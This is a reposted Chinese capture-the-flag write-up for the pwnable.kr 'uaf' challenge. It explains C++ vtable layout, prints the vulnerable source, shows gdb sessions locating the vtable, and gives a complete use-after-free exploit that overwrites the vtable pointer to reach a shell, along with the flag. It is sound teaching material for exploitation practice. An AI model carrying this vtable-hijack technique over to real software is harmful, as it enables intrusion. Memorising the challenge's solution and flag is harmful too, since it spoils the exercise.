pwnable.kr uaf

admin 2022年1月6日01:11:33评论32 views字数 5805阅读19分21秒阅读模式

考察点

  • 虚函数的内存地址空间
  • UAF

虚函数的内存地址

在C++中,如果类中有虚函数,那么它就会有一个虚函数表的指针__vfptr,在类对象最开始的内存数据中。之后是类中的成员变量的内存数据。
对于子类,最开始的内存数据记录着父类对象的拷贝(包括父类虚函数表指针和成员变量)。 之后是子类自己的成员变量数据。

image-20210128112747995

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class Base 
{
public:
virtual void f() { cout << "Base::f" << endl; }
virtual void g() { cout << "Base::g" << endl; }
virtual void h() { cout << "Base::h" << endl; }
int base;
protected:
private:
};
//子类1,无虚函数重载
class Child1 : public Base
{
public:
virtual void f1() { cout << "Child1::f1" << endl; }
virtual void g1() { cout << "Child1::g1" << endl; }
virtual void h1() { cout << "Child1::h1" << endl; }
int child1;
protected:
private:
};
//子类2,有1个虚函数重载
class Child2 : public Base
{
public:
virtual void f() { cout << "Child2::f" << endl; }
virtual void g2() { cout << "Child2::g2" << endl; }
virtual void h2() { cout << "Child2::h2" << endl; }
int child2;
protected:
private:
};

单一继承,无虚函数重载

image-20210128112955403

单一继承,重载了虚函数

image-20210128113057868

多重继承

image-20210128114243078

image-20210128114322025

总结

  • 如果一个类中有虚函数,那么就会建立一张虚函数表vtable,子类继承父类vtable,若,父类的vtable中私有(private)虚函数,则子类vtable中同样有该私有(private)虚函数的地址。注意这并不是直接继承了私有(private)虚函数
  • 当子类重载父类虚函数时,修改vtable同名函数地址,改为指向子类的函数地址,若子类中有新的虚函数,在vtable尾部添加。
  • vptr每个对象都会有一个,而vptable是每个类有一个,vptr指向vtable,一个类中就算有多个虚函数,也只有一个vptr;做多重继承的时候,继承了多个父类,就会有多个vptr

UAF

可以看上一遍介绍

题目链接

http://pwnable.kr/play.php
https://github.com/eternalsakura/ctf_pwn/blob/master/pwnable.kr/uaf
https://github.com/eternalsakura/ctf_pwn/blob/master/pwnable.kr/uaf.cpp

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};

class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};

int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);

size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;

switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}

return 0;
}

分析

首先查看一下保护

1
2
3
4
5
6
7
uaf@pwnable:~$ checksec uaf
[*] '/home/uaf/uaf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

因为这是一道开源pwn,给了我们源码,而且代码也不复杂,没有什么逆向的必要,为了方便理解,我就直接从源码进行分析。

类的继承和虚表

可以看出Man和Woman都是继承了Human类,并且可以看出只要我们将控制流劫持到Human类的私有虚函数give_shell,就能getshell了。
Man和Woman都继承了Human类的vtable,可以通过调试,跟随子类的构造函数,找到vtable。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};

class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};

UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}

可以看出程序给了我们3个选项

  • use 使用指针指向的函数
  • after 分配一段地址空间,我们可以用其将已经被free的内存,重新allocate
  • free 将指针指向的内存释放

组合起来就是UAF。

利用思路

  • 调试找到虚表中give_shell函数地址。

  • free后再allocate,得到一个可控的地址空间.

  • 为了在use,即m->introduce()时,将本来执行的introduce函数变成执行give_shell函数,在allocate的同时,改写虚表指针

  • 劫持控制流,执行give_shell

    漏洞调试和利用

    找到Man的构造函数,从而找到虚函数表

    image-20210128163444394

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gef➤  b * 0x400f13
gef➤ ni
gef➤ p $ebx //在构造函数处下断点
$1 = 0x614c50
gef➤ p /x $ebx //打印出实例化的Man对象的地址
$2 = 0x614c50
gef➤ x/10 0x614c50 //查看Man对象的内存地址空间虚表地址为0x401570
0x614c50: 0x00401570 0x00000000 0x00000019 0x00000000
0x614c60: 0x00614c38 0x00000000 0x000203a1 0x00000000
0x614c70: 0x00000000 0x00000000
gef➤ x/10 0x00401570
0x401570 <_ZTV3Man+16>: 0x0040117a 0x00000000 0x004012d2 0x00000000
0x401580 <_ZTV5Human>: 0x00000000 0x00000000 0x004015f0 0x00000000
0x401590 <_ZTV5Human+16>: 0x0040117a 0x00000000

image-20210128163708847

覆盖虚表指针

1
2
3
4
5
6
gef➤  x/10 0x00401570
0x401570 <_ZTV3Man+16>: 0x0040117a 0x00000000 0x004012d2 0x00000000
0x401580 <_ZTV5Human>: 0x00000000 0x00000000 0x004015f0 0x00000000
0x401590 <_ZTV5Human+16>: 0x0040117a 0x00000000

0x0040117a give_shell 0x004012d2 introduce

image-20210128164102514

image-20210128164033393

call introduce

image-20210128164313271

可以看出在执行m->introduce()的时候,调用call [vptr+8]。
为了执行give_shell,我们覆盖虚表指针,让它前移8个字节,这样call [vptr+8]的时候就调用give_shell了。

pwnable.kr uaf)give_shell() 的地址一共有三个,分别对应 Human Man Woman 虚函数表内 give_shell() 的地址
从这三个地址中任选一个 - 8,作为新的 Man 的虚表地址。

allocate

image-20210128164503929

从上图可以看出,原本Man对象分配的堆空间是0x18,即24字节,所以我们在再次分配的时候,也要分配24字节,保证自己拿到的是原先被free掉的地址空间。

1
2
3
4
5
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
...
delete m;
delete w;

因为先free m再free w,所以为了再次拿到m所指向的空间,我们需要分配两次,第一次得到w所指向的空间,第二次才再次得到m所指向的空间

1
2
3
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);

在此题中,是通过从文件中读出内容覆盖原先的内容的,等同于之前写的strcpy(p->name,data),读取的长度是命令行的argv[1],打开的文件是argv[2]

1
0x401570-0x8=0x401568->\x68\x15\x40\x00\x00\x00\x00\x00

getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
uaf@pwnable:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/uaf.txt
uaf@pwnable:~$ ./uaf 24 /tmp/uaf.txt
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls
flag uaf uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning

参考链接

http://www.cnblogs.com/bizhu/archive/2012/09/25/2701691.html

https://eternalsakura13.com/2018/02/13/uaf/

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:11:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   pwnable.kr uafhttp://cn-sec.com/archives/721333.html

发表评论

匿名网友 填写信息